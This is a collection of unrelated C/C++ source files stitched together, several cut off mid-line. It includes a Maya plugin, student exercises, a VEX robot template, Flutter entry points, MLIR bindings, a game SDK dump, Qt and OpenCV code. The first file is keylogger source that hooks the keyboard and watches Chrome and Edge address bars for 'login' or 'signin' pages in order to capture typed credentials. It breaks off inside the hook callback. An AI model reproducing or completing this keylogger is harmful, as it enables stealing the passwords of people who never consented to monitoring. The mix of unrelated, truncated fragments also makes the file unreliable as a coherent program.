#include <windows.h>
#include <ole2.h>
#include <uiautomation.h>
#include <psapi.h>
#include <iostream>
#include <string>
#include <unordered_set>
#include <map>
#include <thread>
#include <mutex>
#include <atomic>
#include <comdef.h>

#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "oleaut32.lib")
#pragma comment(lib, "uiautomationcore.lib")
#pragma comment(lib, "psapi.lib")
#pragma comment(lib, "user32.lib")

// Globals
std::mutex g_mutex;
std::atomic<bool> g_running(true);
IUIAutomation* g_automation = nullptr;
HHOOK g_hHook = nullptr;

// Mapping HWND => URL for tracked login tabs
std::map<HWND, std::wstring> g_trackedWindows;

// Special keys mapping
std::map<DWORD, std::wstring> specialKeys = {
    {VK_BACK, L"[Backspace]"},
    {VK_TAB, L"[Tab]"},
    {VK_RETURN, L"[Enter]\n"},
    {VK_SHIFT, L"[Shift]"},
    {VK_CONTROL, L"[Ctrl]"},
    {VK_MENU, L"[Alt]"},
    {VK_ESCAPE, L"[Esc]"},
    {VK_SPACE, L" "},
    {VK_DELETE, L"[Delete]"},
    {VK_LEFT, L"[Left]"},
    {VK_RIGHT, L"[Right]"},
    {VK_UP, L"[Up]"},
    {VK_DOWN, L"[Down]"},
    {VK_CAPITAL, L"[CapsLock]"},
    {VK_HOME, L"[Home]"},
    {VK_END, L"[End]"},
    {VK_NEXT, L"[PageDown]"},
    {VK_PRIOR, L"[PageUp]"},
    {VK_INSERT, L"[Insert]"},
    {VK_LWIN, L"[LWin]"},
    {VK_RWIN, L"[RWin]"},
};

// Utility: Get process name for a HWND
std::wstring GetProcessName(HWND hwnd) {
    DWORD pid = 0;
    GetWindowThreadProcessId(hwnd, &pid);
    HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ, FALSE, pid);
    if (!hProc) return L"";

    WCHAR name[MAX_PATH] = {0};
    if (GetModuleBaseNameW(hProc, nullptr, name, MAX_PATH) == 0) {
        CloseHandle(hProc);
        return L"";
    }
    CloseHandle(hProc);
    return std::wstring(name);
}

// Get browser URL via UIAutomation
bool GetBrowserURL(HWND hwnd, std::wstring& url) {
    if (!g_automation) return false;
    IUIAutomationElement* root = nullptr;
    if (FAILED(g_automation->ElementFromHandle(hwnd, &root)) || !root)
        return false;

    VARIANT varProp;
    varProp.vt = VT_BSTR;
    varProp.bstrVal = SysAllocString(L"Address and search bar");

    IUIAutomationCondition* cond = nullptr;
    if (FAILED(g_automation->CreatePropertyCondition(UIA_NamePropertyId, varProp, &cond))) {
        SysFreeString(varProp.bstrVal);
        root->Release();
        return false;
    }
    SysFreeString(varProp.bstrVal);

    IUIAutomationElement* addressBar = nullptr;
    bool found = false;
    if (SUCCEEDED(root->FindFirst(TreeScope_Descendants, cond, &addressBar)) && addressBar) {
        IUIAutomationValuePattern* valPattern = nullptr;
        if (SUCCEEDED(addressBar->GetCurrentPattern(UIA_ValuePatternId, (IUnknown**)&valPattern)) && valPattern) {
            BSTR bstrUrl = nullptr;
            if (SUCCEEDED(valPattern->get_CurrentValue(&bstrUrl)) && bstrUrl) {
                url = std::wstring(bstrUrl);
                SysFreeString(bstrUrl);
                found = true;
            }
            valPattern->Release();
        }
        addressBar->Release();
    }

    cond->Release();
    root->Release();
    return found;
}

// Get top level window from any HWND
HWND GetTopLevelWindow(HWND hwnd) {
    if (!hwnd) return nullptr;
    HWND tl = GetAncestor(hwnd, GA_ROOT);
    return tl ? tl : hwnd;
}

// Check if process is supported browser
bool IsBrowserProcess(const std::wstring& procName) {
    // Add other browsers here if you want
    return (procName == L"chrome.exe" || procName == L"msedge.exe");
}

// EnumWindows callback to find windows with login URLs
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam) {
    if (!IsWindowVisible(hwnd)) return TRUE;

    std::wstring procName = GetProcessName(hwnd);
    if (!IsBrowserProcess(procName))
        return TRUE;

    std::wstring url;
    if (!GetBrowserURL(hwnd, url))
        return TRUE;

	if (url.find(L"login") == std::wstring::npos && url.find(L"signin") == std::wstring::npos)
		return TRUE;

    std::unordered_set<HWND>* currentSet = (std::unordered_set<HWND>*)lParam;
    currentSet->insert(hwnd);

    {
        std::lock_guard<std::mutex> lock(g_mutex);
        g_trackedWindows[hwnd] = url;  // Add or update tracked windows
    }
    return TRUE;
}

// Convert VK code to readable string, handling special keys
std::wstring VkCodeToReadable(DWORD vkCode) {
    auto it = specialKeys.find(vkCode);
    if (it != specialKeys.end())
        return it->second;

    BYTE keyboardState[256] = {0};
    if ((GetAsyncKeyState(VK_SHIFT) & 0x8000) != 0)
        keyboardState[VK_SHIFT] = 0x80;
    if ((GetAsyncKeyState(VK_CAPITAL) & 0x0001) != 0)
        keyboardState[VK_CAPITAL] = 0x01;

    WCHAR buf[8] = {0};
    int ret = ToUnicode(vkCode, MapVirtualKey(vkCode, MAPVK_VK_TO_VSC), keyboardState, buf, 8, 0);
    if (ret > 0) {
        return std::wstring(buf, ret);
    }

    return L"[Unknown]";
}

// Keyboard hook callback
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam


//*********************************************************
// BreakdownCommand.cpp
//
// Copyright (C) 2007-2021 Skeletal Studios
// All rights reserved.
//
//*********************************************************

//*********************************************************
#include "BreakdownCommand.h"
#include "ErrorReporting.h"
//*********************************************************

//*********************************************************
// Constants
//*********************************************************
const char *BreakdownCommand::weightFlag = "-w";
const char *BreakdownCommand::weightLongFlag = "-weight";
const char *BreakdownCommand::selectedAttrFlag = "-sa";
const char *BreakdownCommand::selectedAttrLongFlag = "-selectedAttr";
const char *BreakdownCommand::modeFlag = "-m";
const char *BreakdownCommand::modeLongFlag = "-mode";
const char *BreakdownCommand::invalidAttrOpFlag = "-iao";
const char *BreakdownCommand::invalidAttrOpLongFlag = "-invalidAttrOp";
const char *BreakdownCommand::ignoreRippleCheckFlag = "-irc";
const char *BreakdownCommand::ignoreRippleCheckLongFlag = "-ignoreRippleCheck";
const char *BreakdownCommand::tickDrawSpecialFlag = "-tds";
const char *BreakdownCommand::tickDrawSpecialLongFlag = "-tickDrawSpecial";

//*********************************************************
// Name: BreakdownCommand
// Desc: Constructor
//*********************************************************
BreakdownCommand::BreakdownCommand()
{
    pluginTrace( "BreakdownCommand", "BreakdownCommand", "******* Insert Breakdown Command *******" );

    // Get the current time/frame
    currentAnimationFrame = MAnimControl::currentTime();

    // Initialize the command flag defaults
    breakdownWeight = 0.5;
    breakdownMode = Breakdown::kOverwrite;
    selectedAttrOnly = false;
    invalidAttrOp = kSkipAll;
    ignoreRippleCheck = false;
    tickDrawSpecial = false;

    attributesSkipped = false;
    objectsSkipped = false;
}

//*********************************************************
// Name: ~BreakdownCommand
// Desc: Destructor
//*********************************************************
BreakdownCommand::~BreakdownCommand()
{
    // Delete all breakdowns from the list
    breakdownList.deleteAndClear();
}

//*********************************************************
// Name: doIt
// Desc: All of the one-time setup and initialization
//       code for the breakdown command.  doIt is called
//       by Maya when any command is executed in MEL.
//       Any code that changes the state of Maya is
//       handled by the redoIt method.
//*********************************************************
MStatus BreakdownCommand::doIt( const MArgList &args )
{
    parseCommandFlags( args );

	getSelectedObjects();

    if( selectionList.length() == 0 ) {
		MGlobal::displayError( "No Objects Selected" );
        status = MS::kFailure;
    }
    else if( selectedAttrOnly && (populateSelectedAttributeList() == 0) ) {
        MGlobal::displayError( "No Attributes Selected" );
        status = MS::kFailure;
    }
	else
    {
		MStringArray results;
		selectionList.getSelectionStrings( results );

        if( !createBreakdownList()) {
            // Create breakdown will display its own error
        }

        // When in ripple mode, the default behaviour is to verify that
        // all attributes have a key set at the current time or all keys
        // have no keys set at the current time.  The ripple breakdown
        // will fail if this is not the case unless the check is disabled.
        else if( breakdownMode == Breakdown::kRipple &&
                 !ignoreRippleCheck &&
                 !(status = breakdownList.areOriginalKeysUniform()) )
        {
            MGlobal::displayError( "Breakdown Failed. (Ripple Mode)All attributes must have a key set or no keys set at the current time." );
        }
        else {
            if( !redoIt() ) {
                pluginError( "BreakdownCommand", "doIt", "Failed to redoIt" );
            }
            else {
                MString output( "Result: " );

                output += breakdownList.size();

                if( attributesSkipped )
                    output += "   (See Script Editor for skipped attributes)";
                else if( objectsSkipped )
                    output += "   (See Script Editor for skipped objects)";
                MGlobal::displayInfo( output );
            }
        }
	}

	return status;
}

//*********************************************************
// Name: redoIt
// Desc: Contains the code that changes the internal state
//       of Maya.  It is called by Maya to redo.
//*********************************************************
MStatus BreakdownCommand::redoIt()
{
    // Traverse the breakdown list and call redo on each
    // breakdown object
    if( !breakdownList.empty() ) {


/* Author: Nguyễn Huỳnh Minh Tuyết
    ID: 24110144
    Project: Build a simple system to manage different types of vehicles in a transportation company.
*/

#include <iostream>
#include <string>
using namespace std;

class Vehicle {
private:
    string brand;        // hãng xe
    string model;        // mẫu xe
    int releaseYear;     // năm sản xuất
    string color;        // màu xe
    double maxSpeed;     // tốc độ tối đa
    double currentSpeed; // tốc độ hiện tại
    double price;        // giá xe
    string fuelType;     // loại nhiên liệu (xăng, dầu, điện, hybrid)

public:
    // Constructor
    Vehicle(string b, string m, int r, string c,
        double ms, double cs, double p, string f) {
        brand = b;
        model = m;
        releaseYear = r;
        color = c;
        price = p;
        fuelType = f;

		// được hỗ trợ thêm test case so sánh bởi Chat GPT

        // Kiểm tra tốc độ tối đa
        if (ms <= 0) {
            // gán tốc độ tối đa mặc định là 200 km/h
            maxSpeed = 200;
        }
        else {
            maxSpeed = ms;
        }

        // Kiểm tra tốc độ hiện tại
        if (cs > maxSpeed) {
            // gán tốc độ hiện tại bằng tốc độ tối đa nếu vượt quá
            currentSpeed = maxSpeed;
        }
        else if (cs < 0) {
            // gán tốc độ hiện tại là 0 nếu nhập số âm
            currentSpeed = 0;
        }
        else {
            currentSpeed = cs;
        }
    }

    // Setters
    void setBrand(string b) { brand = b; }
    void setModel(string m) { model = m; }
    void setReleaseYear(int r) { releaseYear = r; }
    void setColor(string c) { color = c; }
    void setMaxSpeed(double ms) { maxSpeed = ms; }
    void setPrice(double p) { price = p; }
    void setCurrentSpeed(double cs) { currentSpeed = cs; }
    void setFuelType(string f) { fuelType = f; }

    // Getters
    string getBrand() { return brand; }
    string getModel() { return model; }
    int getReleaseYear() const { return releaseYear; } // được hỗ trợ sửa sai bởi Chat GPT
    string getColor() { return color; }
    double getMaxSpeed() { return maxSpeed; }
    double getPrice() { return price; }
    double getCurrentSpeed() { return currentSpeed; }
    string getFuelType() { return fuelType; }

    // Hiển thị thông tin xe
    void displayInfo() {
        cout << "Brand: " << brand << endl;
        cout << "Model: " << model << endl;
        cout << "Release Year: " << releaseYear << endl;
        cout << "Color: " << color << endl;
        cout << "Max Speed: " << maxSpeed << " km/h" << endl;
        cout << "Current Speed: " << currentSpeed << " km/h" << endl;
        cout << "Price: $" << price << endl;
        cout << "Fuel Type: " << fuelType << endl;
    }

    // Tăng tốc
    void accelerate(double increase) {
        if (currentSpeed >= maxSpeed) {
            cout << "The vehicle has reached its maximum speed. No further acceleration is possible!\n";
        }
        else if (currentSpeed + increase > maxSpeed) {
            cout << "Cannot accelerate. Speed would exceed max speed!" << endl;
        }
        else {
            currentSpeed += increase;
            cout << "Accelerated by " << increase
                << " km/h. New speed: " << currentSpeed << " km/h" << endl;
        }
    }
};

int main() {
    // Tạo đối tượng Vehicle
    Vehicle vehicle1("Toyota", "Camry", 2020, "White", 210, 140, 24000, "Gasoline");
    Vehicle vehicle2("Honda", "Civic", 2019, "Black", 200, 85, 22000, "Gasoline");
    Vehicle vehicle3("Ford", "Mustang", 2021, "Red", 0, 20, 35000, "Gasoline");

    // Hiển thị thông tin xe 1
    vehicle1.displayInfo();
    vehicle1.accelerate(90);
    cout << endl;

    // Hiển thị thông tin xe 2
    vehicle2.displayInfo();
    vehicle2.accelerate(50);
    cout << endl;

    // Hiển thị thông tin xe 3
    // trường hợp có maxSpeed = 0
    vehicle3.displayInfo();
    vehicle3.accelerate(50);

    // Cho phép người dùng nhập thêm một xe mới
    cout << "\n Enter new car \n";
    string userBrand, userModel, userColor, userFuelType;
    int userReleaseYear;
    double userMaxSpeed, userCurrentSpeed, userPrice;

    cout << "Enter car brand: ";
    getline(cin, userBrand);
    cout << "Enter car model: ";
    getline(cin, userModel);
    cout << "Enter year of manufacture: ";
    cin >> userReleaseYear;
    cin.ignore(); // clear buffer
    cout << "Enter car color: ";
    getline(cin, userColor);
    cout << "Enter maximum speed (km/h): ";
    cin >> userMaxSpeed;
    cout << "Enter current speed (km/h): ";
    cin >> userCurrentSpeed;
    cout << "Enter car price ($): ";
    cin >> userPrice;
    cin.ignore();
    cout << "Enter fuel type: ";
    getline(cin, userFuelType);

    // Create vehicle object from user input
    Vehicle userVehicle(userBrand, userModel, userReleaseYear, userColor, userMa


/*----------------------------------------------------------------------------*/
/*                                                                            */
/*    Module:       main.cpp                                                  */
/*    Author:       4804195893                                                */
/*    Created:      8/29/2025, 8:51:54 AM                                     */
/*    Description:  V5 project                                                */
/*                                                                            */
/*----------------------------------------------------------------------------*/

#include "vex.h"

using namespace vex;

// A global instance of competition
competition Competition;

//-----------------------------------------------------------------------------------------------------

// define your global instances of motors and other devices here
  // define controller
controller Controller = controller();
  // define drivetrain motors/motor groups
    // motors
motor MotorL1 = motor(PORT11, ratio6_1); //second parameter dictates motor cartridge, ratio6_1 is blue speed cartridge
motor MotorL2 = motor(PORT12, ratio6_1);
motor MotorL3 = motor(PORT13, ratio6_1);
motor MotorR1 = motor(PORT20, ratio6_1);
motor MotorR2 = motor(PORT19, ratio6_1);
motor MotorR3 = motor(PORT18, ratio6_1);
    // motor groups
motor_group DrivetrainLeft = motor_group(MotorL1, MotorL2, MotorL3);
motor_group DrivetrainRight = motor_group(MotorR1, MotorR2, MotorR3);
  // define drivetrain object
drivetrain Drivetrain = drivetrain(DrivetrainLeft, DrivetrainRight, 10.21, 14, 14, inches, 0.75);

//-----------------------------------------------------------------------------------------------------

/*---------------------------------------------------------------------------*/
/*                          Pre-Autonomous Functions                         */
/*                                                                           */
/*  You may want to perform some actions before the competition starts.      */
/*  Do them in the following function.  You must return from this function   */
/*  or the autonomous and usercontrol tasks will not be started.  This       */
/*  function is only called once after the V5 has been powered on and        */
/*  not every time that the robot is disabled.                               */
/*---------------------------------------------------------------------------*/

void pre_auton(void) {

  // All activities that occur before the competition starts
  // Example: clearing encoders, setting servo positions, ...
}

/*---------------------------------------------------------------------------*/
/*                                                                           */
/*                              Autonomous Task                              */
/*                                                                           */
/*  This task is used to control your robot during the autonomous phase of   */
/*  a VEX Competition.                                                       */
/*                                                                           */
/*  You must modify the code to add your own robot specific commands here.   */
/*---------------------------------------------------------------------------*/

void autonomous(void) {
  // ..........................................................................
  // Insert autonomous user code here.
  // ..........................................................................
}

/*---------------------------------------------------------------------------*/
/*                                                                           */
/*                              User Control Task                            */
/*                                                                           */
/*  This task is used to control your robot during the user control phase of */
/*  a VEX Competition.                                                       */
/*                                                                           */
/*  You must modify the code to add your own robot specific commands here.   */
/*---------------------------------------------------------------------------*/

void usercontrol(void) {
  // User control code here, inside the loop
  while (1) {
    // This is the main execution loop for the user control program.
    // Each time through the loop your program should update motor + servo
    // values based on feedback from the joysticks.

    // ........................................................................
    // Insert user code here. This is where you use the joystick values to
    // update your motors, etc.
    // ........................................................................

    // Drivetrain movement
      // get joystick values
    int leftY = -6 * Controller.Axis1.position(); // multiply percent by 6 to get rpm, Controller.A


#include <flutter/dart_project.h>
#include <flutter/flutter_view_controller.h>
#include <windows.h>

#include "flutter_window.h"
#include "utils.h"

int APIENTRY wWinMain(_In_ HINSTANCE instance, _In_opt_ HINSTANCE prev,
                      _In_ wchar_t *command_line, _In_ int show_command) {
  // Attach to console when present (e.g., 'flutter run') or create a
  // new console when running with a debugger.
  if (!::AttachConsole(ATTACH_PARENT_PROCESS) && ::IsDebuggerPresent()) {
    CreateAndAttachConsole();
  }

  // Initialize COM, so that it is available for use in the library and/or
  // plugins.
  ::CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);

  flutter::DartProject project(L"data");

  std::vector<std::string> command_line_arguments =
      GetCommandLineArguments();

  project.set_dart_entrypoint_arguments(std::move(command_line_arguments));

  FlutterWindow window(project);
  Win32Window::Point origin(10, 10);
  Win32Window::Size size(1280, 720);
  if (!window.Create(L"send_tv", origin, size)) {
    return EXIT_FAILURE;
  }
  window.SetQuitOnClose(true);

  ::MSG msg;
  while (::GetMessage(&msg, nullptr, 0, 0)) {
    ::TranslateMessage(&msg);
    ::DispatchMessage(&msg);
  }

  ::CoUninitialize();
  return EXIT_SUCCESS;
}


/* Write programs Program to find Maximum out of Two Numbers using friend function.

Note: Here one number is a member of one class and the other number is member of some other class.*/

#include<iostream>
#include<string.h>
using namespace std;

class secondnum;

class firstnum{
	int fir;

	public:

	//friend func to acess data

	friend void biggest(firstnum superman,secondnum batman);
		//getter func to get val

				void getval(int firstvalue){
					//storing value to the fir using getter
					fir=firstvalue;

					}

						//setter func

							void setval(){
								cout<<"\n\n "<<fir<<"\n\n";

								}
	};

class secondnum{

	int sec;

	public:

	//friend func to acess the data

	friend  void biggest(firstnum superman,secondnum batman);
	//getting value of second class using getter func

	void getval2(int b){
		//storing b in sec

		sec=b;

		}

				void setval(){
								cout<<"\n\n "<<sec<<"\n\n";

								}

	};

	//main func for the code

	void biggest(firstnum superman,secondnum batman){

		if(superman.fir>batman.sec){
			cout<<superman.fir;

			}

			else{

				cout<<batman.sec;

				}

		}

	int main(){
		firstnum dev;
		dev.getval(9);
		dev.setval();

		secondnum batman;

		batman.getval2(8);
		batman.setval();

		biggest(dev,batman);

		//Done !
		//:) :) ;)

		//100 line of code with 2 error :)

		}


#include <flutter/dart_project.h>
#include <flutter/flutter_view_controller.h>
#include <windows.h>

#include "flutter_window.h"
#include "utils.h"

int APIENTRY wWinMain(_In_ HINSTANCE instance, _In_opt_ HINSTANCE prev,
                      _In_ wchar_t *command_line, _In_ int show_command) {
  // Attach to console when present (e.g., 'flutter run') or create a
  // new console when running with a debugger.
  if (!::AttachConsole(ATTACH_PARENT_PROCESS) && ::IsDebuggerPresent()) {
    CreateAndAttachConsole();
  }

  // Initialize COM, so that it is available for use in the library and/or
  // plugins.
  ::CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);

  flutter::DartProject project(L"data");

  std::vector<std::string> command_line_arguments =
      GetCommandLineArguments();

  project.set_dart_entrypoint_arguments(std::move(command_line_arguments));

  FlutterWindow window(project);
  Win32Window::Point origin(10, 10);
  Win32Window::Size size(1280, 720);
  if (!window.Create(L"aula01", origin, size)) {
    return EXIT_FAILURE;
  }
  window.SetQuitOnClose(true);

  ::MSG msg;
  while (::GetMessage(&msg, nullptr, 0, 0)) {
    ::TranslateMessage(&msg);
    ::DispatchMessage(&msg);
  }

  ::CoUninitialize();
  return EXIT_SUCCESS;
}


//===- Dialects.cpp - CAPI for dialects -----------------------------------===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//

#include "ListProject-c/Dialects.h"

#include "ListProject/Dialect/List/IR/ListDialect.h"
#include "ListProject/Dialect/List/IR/ListTypes.h"
#include "mlir/CAPI/Registration.h"

using namespace mlir;

MLIR_DEFINE_CAPI_DIALECT_REGISTRATION(List, list,
                                      mlir::list::ListDialect)

//===-------------------------------------------------------------------===//
// ListType
//===-------------------------------------------------------------------===//

bool mlirTypeIsAListType(MlirType type) {
  return isa<list::ListType>(unwrap(type));
}

MlirType mlirListTypeGet(MlirContext ctx, MlirType elementType) {
  return wrap(list::ListType::get(unwrap(ctx), unwrap(elementType)));
}


#include <bits/stdc++.h>
using namespace std;

class Node{
    public:
        int value;
        Node* next;

        Node(int value){
            this->value = value;
            next = NULL;
        }
};

class CLL{
    private:
        Node* head;
        Node* tail;

    public:
        CLL(){
            head = tail = NULL;
        }

        void prepend(int value){
            Node* newNode = new Node(value);
            if(head == NULL){
                head = tail = newNode;
                tail->next = head;
            }else{
                newNode->next = head;
                head = newNode;
                tail->next = head;
            }
        }

        void printList(){
            if(head == NULL){
                cout << "empty list" << endl;
                return;
            }

            Node* temp = head;
            while(true){
                cout << temp->value << " -> ";
                temp = temp->next;
                if(temp == head){
                    break;
                }
            }
            cout << "NULL" << endl;
        }

        void append(int value){
            Node* newNode = new Node(value);
            if(head == NULL){
                head = tail = newNode;
                tail->next = head;
            }else{
                newNode->next = head;
                tail->next = newNode;
                tail = newNode;
            }
        }

        void deleteFront(){
            // if empty list
            if(head == NULL){
                cout << "empty list" << endl;
                return;
            }

            if(head == tail){
            // if single node
            delete head;
            head = tail = NULL;
            }else{
            // if more than 2 nodes
            Node* temp = head;
            head = head->next;
            tail->next = head;
            temp->next = NULL;
            delete temp;
            }
        }

        void deleteEnd(){
            if(head == NULL){
                cout << "empty list" << endl;
                return;
            }

            if(head == tail){
                delete head;
                head = tail = NULL;
            }else{
                Node* temp = tail;
                // prev node == node->next == tail;
                Node* prev = head;
                while(prev->next != tail){
                    prev = prev->next;
                }
                tail = prev;
                tail->next = head;
                temp->next = NULL;
                delete temp;
            }
        }
};

int main(){
    CLL *c1 = new CLL();
    c1->prepend(1);
    c1->prepend(2);
    c1->prepend(3);
    c1->printList();
    return 1;
}


#pragma once

/*
* SDK generated by Dumper-7
*
* https://github.com/Encryqed/Dumper-7
*/

// Package: UIW_Slot_Weapon

#include "Basic.hpp"

#include "UIW_Slot_Weapon_classes.hpp"
#include "UIW_Slot_Weapon_parameters.hpp"

namespace SDK
{

// Function UIW_Slot_Weapon.UIW_Slot_Weapon_C.ExecuteUbergraph_UIW_Slot_Weapon
// (Final, UbergraphFunction, HasDefaults)
// Parameters:
// int32                                   EntryPoint                                             (BlueprintVisible, BlueprintReadOnly, Parm, ZeroConstructor, IsPlainOldData, NoDestructor, HasGetValueTypeHash)

void UUIW_Slot_Weapon_C::ExecuteUbergraph_UIW_Slot_Weapon(int32 EntryPoint)
{
	static class UFunction* Func = nullptr;

	if (Func == nullptr)
		Func = Class->GetFunction("UIW_Slot_Weapon_C", "ExecuteUbergraph_UIW_Slot_Weapon");

	Params::UIW_Slot_Weapon_C_ExecuteUbergraph_UIW_Slot_Weapon Parms{};

	Parms.EntryPoint = EntryPoint;

	UObject::ProcessEvent(Func, &Parms);
}

// Function UIW_Slot_Weapon.UIW_Slot_Weapon_C.Destruct
// (BlueprintCosmetic, Event, Public, BlueprintEvent)

void UUIW_Slot_Weapon_C::Destruct()
{
	static class UFunction* Func = nullptr;

	if (Func == nullptr)
		Func = Class->GetFunction("UIW_Slot_Weapon_C", "Destruct");

	UObject::ProcessEvent(Func, nullptr);
}

// Function UIW_Slot_Weapon.UIW_Slot_Weapon_C.Set Item
// (BlueprintCallable, BlueprintEvent)
// Parameters:
// class UObject*                          ListObject                                             (BlueprintVisible, BlueprintReadOnly, Parm, ZeroConstructor, IsPlainOldData, NoDestructor, HasGetValueTypeHash)

void UUIW_Slot_Weapon_C::Set_Item(class UObject* ListObject)
{
	static class UFunction* Func = nullptr;

	if (Func == nullptr)
		Func = Class->GetFunction("UIW_Slot_Weapon_C", "Set Item");

	Params::UIW_Slot_Weapon_C_Set_Item Parms{};

	Parms.ListObject = ListObject;

	UObject::ProcessEvent(Func, &Parms);
}

// Function UIW_Slot_Weapon.UIW_Slot_Weapon_C.OnFocusLost
// (BlueprintCosmetic, Event, Public, BlueprintEvent)
// Parameters:
// const struct FFocusEvent&               InFocusEvent                                           (BlueprintVisible, BlueprintReadOnly, Parm, NoDestructor)

void UUIW_Slot_Weapon_C::OnFocusLost(const struct FFocusEvent& InFocusEvent)
{
	static class UFunction* Func = nullptr;

	if (Func == nullptr)
		Func = Class->GetFunction("UIW_Slot_Weapon_C", "OnFocusLost");

	Params::UIW_Slot_Weapon_C_OnFocusLost Parms{};

	Parms.InFocusEvent = std::move(InFocusEvent);

	UObject::ProcessEvent(Func, &Parms);
}

// Function UIW_Slot_Weapon.UIW_Slot_Weapon_C.OnMouseButtonDoubleClick
// (BlueprintCosmetic, Event, Public, HasOutParams, HasDefaults, BlueprintCallable, BlueprintEvent)
// Parameters:
// const struct FGeometry&                 InMyGeometry                                           (BlueprintVisible, BlueprintReadOnly, Parm, IsPlainOldData, NoDestructor)
// const struct FPointerEvent&             InMouseEvent                                           (ConstParm, BlueprintVisible, BlueprintReadOnly, Parm, OutParm, ReferenceParm)
// struct FEventReply                      ReturnValue                                            (Parm, OutParm, ReturnParm)

struct FEventReply UUIW_Slot_Weapon_C::OnMouseButtonDoubleClick(const struct FGeometry& InMyGeometry, const struct FPointerEvent& InMouseEvent)
{
	static class UFunction* Func = nullptr;

	if (Func == nullptr)
		Func = Class->GetFunction("UIW_Slot_Weapon_C", "OnMouseButtonDoubleClick");

	Params::UIW_Slot_Weapon_C_OnMouseButtonDoubleClick Parms{};

	Parms.InMyGeometry = std::move(InMyGeometry);
	Parms.InMouseEvent = std::move(InMouseEvent);

	UObject::ProcessEvent(Func, &Parms);

	return Parms.ReturnValue;
}

// Function UIW_Slot_Weapon.UIW_Slot_Weapon_C.OnFocusReceived
// (BlueprintCosmetic, Event, Public, HasOutParams, HasDefaults, BlueprintCallable, BlueprintEvent)
// Parameters:
// const struct FGeometry&                 MyGeometry                                             (BlueprintVisible, BlueprintReadOnly, Parm, IsPlainOldData, NoDestructor)
// const struct FFocusEvent&               InFocusEvent                                           (BlueprintVisible, BlueprintReadOnly, Parm, NoDestructor)
// struct FEventReply                      ReturnValue                                            (Parm, OutParm, ReturnParm)

struct FEventReply UUIW_Slot_Weapon_C::OnFocusReceived(const struct FGeometry& MyGeometry, const struct FFocusEvent& InFocusEvent)
{
	static class UFunction* Func = nullptr;

	if (Func == nullptr)
		Func = Class->GetFunction("UIW_Slot_Weapon_C", "OnFocusReceived");

	Params::UIW_Slot_Weapon_C_OnFocusReceived Parms{};

	Parms.MyGeometry = std::move(MyGeometry);
	Parms.InFocusEvent = std::move(InFocusEvent);

	UObject::ProcessEvent(Func, &Parms);

	return Parms.ReturnValue;
}

// Function UIW_Slot_Weapon.UIW_Slot_Weapon_C.OnMouseButtonDown
// (BlueprintCosmetic, Event, Public, HasOutParams, HasDefaults, BlueprintCallable, BlueprintEvent)


#include "components/lib/qtmaterialcheckable_internal.h"
#include <QPainter>
#include <QIcon>
#include <QTransform>
#include "components/lib/qtmaterialcheckable.h"

/*!
 *  \class QtMaterialCheckableIcon
 *  \internal
 */

QtMaterialCheckableIcon::QtMaterialCheckableIcon(const QIcon &icon, QtMaterialCheckable *parent)
    : QWidget(parent),
      m_checkable(parent),
      m_color(Qt::black),
      m_icon(icon),
      m_iconSize(24),
      m_opacity(1.0)
{
    Q_ASSERT(parent);

    setAttribute(Qt::WA_TransparentForMouseEvents);
}

QtMaterialCheckableIcon::~QtMaterialCheckableIcon()
{
}

QSize QtMaterialCheckableIcon::sizeHint() const
{
    return QSize(m_iconSize, m_iconSize);
}

void QtMaterialCheckableIcon::paintEvent(QPaintEvent *event)
{
    Q_UNUSED(event)

    QPainter painter(this);
    painter.setRenderHint(QPainter::Antialiasing);
    painter.setOpacity(m_opacity);

    int pixmapSize;
    if(m_iconSize == icon().pixmap(m_iconSize,m_iconSize).width())
        pixmapSize = m_iconSize;
    else
        pixmapSize = 24;
    QPixmap pixmap = icon().pixmap(pixmapSize, pixmapSize);

    if (!pixmap.isNull())
    {
        const qreal p = static_cast<qreal>((height())-m_iconSize)/2;
        const qreal z = m_iconSize/pixmapSize;

        QTransform t;
        if (QtMaterialCheckable::LabelPositionLeft == m_checkable->labelPosition()) {
            t.translate(p+ width() - (m_checkable->iconSize()), p);
        } else {
            t.translate(p, p);
        }
        t.scale(z, z);
        painter.setTransform(t);

        QPainter icon(&pixmap);
        icon.setCompositionMode(QPainter::CompositionMode_SourceIn);
        icon.fillRect(pixmap.rect(), color());
        painter.drawPixmap(0, 0, pixmap);
    }
}


#include <stdio.h>
#include <stdlib.h>

#define SIZE 100

struct Stack {
    int arr[SIZE];
    int top;
};

void init(struct Stack* s) { s->top = -1; }
int isEmpty(struct Stack* s) { return s->top == -1; }
void push(struct Stack* s, int val) { s->arr[++s->top] = val; }
int pop(struct Stack* s) { return s->arr[s->top--]; }
int peek(struct Stack* s) { return s->arr[s->top]; }

// Queue using two stacks
struct Queue {
    struct Stack s1, s2;
};

void initQueue(struct Queue* q) {
    init(&q->s1);
    init(&q->s2);
}

void enqueue(struct Queue* q, int x) {
    // Move everything from s1 to s2
    while (!isEmpty(&q->s1)) {
        push(&q->s2, pop(&q->s1));
    }
    // Push new element into s1
    push(&q->s1, x);
    // Move everything back
    while (!isEmpty(&q->s2)) {
        push(&q->s1, pop(&q->s2));
    }
    printf("%d enqueued\n", x);
}

int dequeue(struct Queue* q) {
    if (isEmpty(&q->s1)) {
        printf("Queue is empty!\n");
        return -1;
    }
    return pop(&q->s1);
}

int main() {
    struct Queue q;
    initQueue(&q);

    enqueue(&q, 10);
    enqueue(&q, 20);
    enqueue(&q, 30);

    printf("%d dequeued\n", dequeue(&q));
    printf("%d dequeued\n", dequeue(&q));

    enqueue(&q, 40);
    printf("%d dequeued\n", dequeue(&q));

    return 0;
}


#include <opencv2/imgcodecs.hpp>
#include <opencv2/highgui.hpp>
#include <opencv2/imgproc.hpp>
#include <opencv2/core.hpp>
#include <opencv2/opencv.hpp>
#include <string>
#include <iostream>
#include <fstream>

cv::Mat cameraMatrix;
cv::Mat distCoefs;
cv::Mat R, t;
cv::Mat T;
void getGreenMask(cv::Mat &green) {
	cv::Mat slika, slikaMod;
	slika = cv::imread("../slike/slikaA.jpg", cv::IMREAD_COLOR);
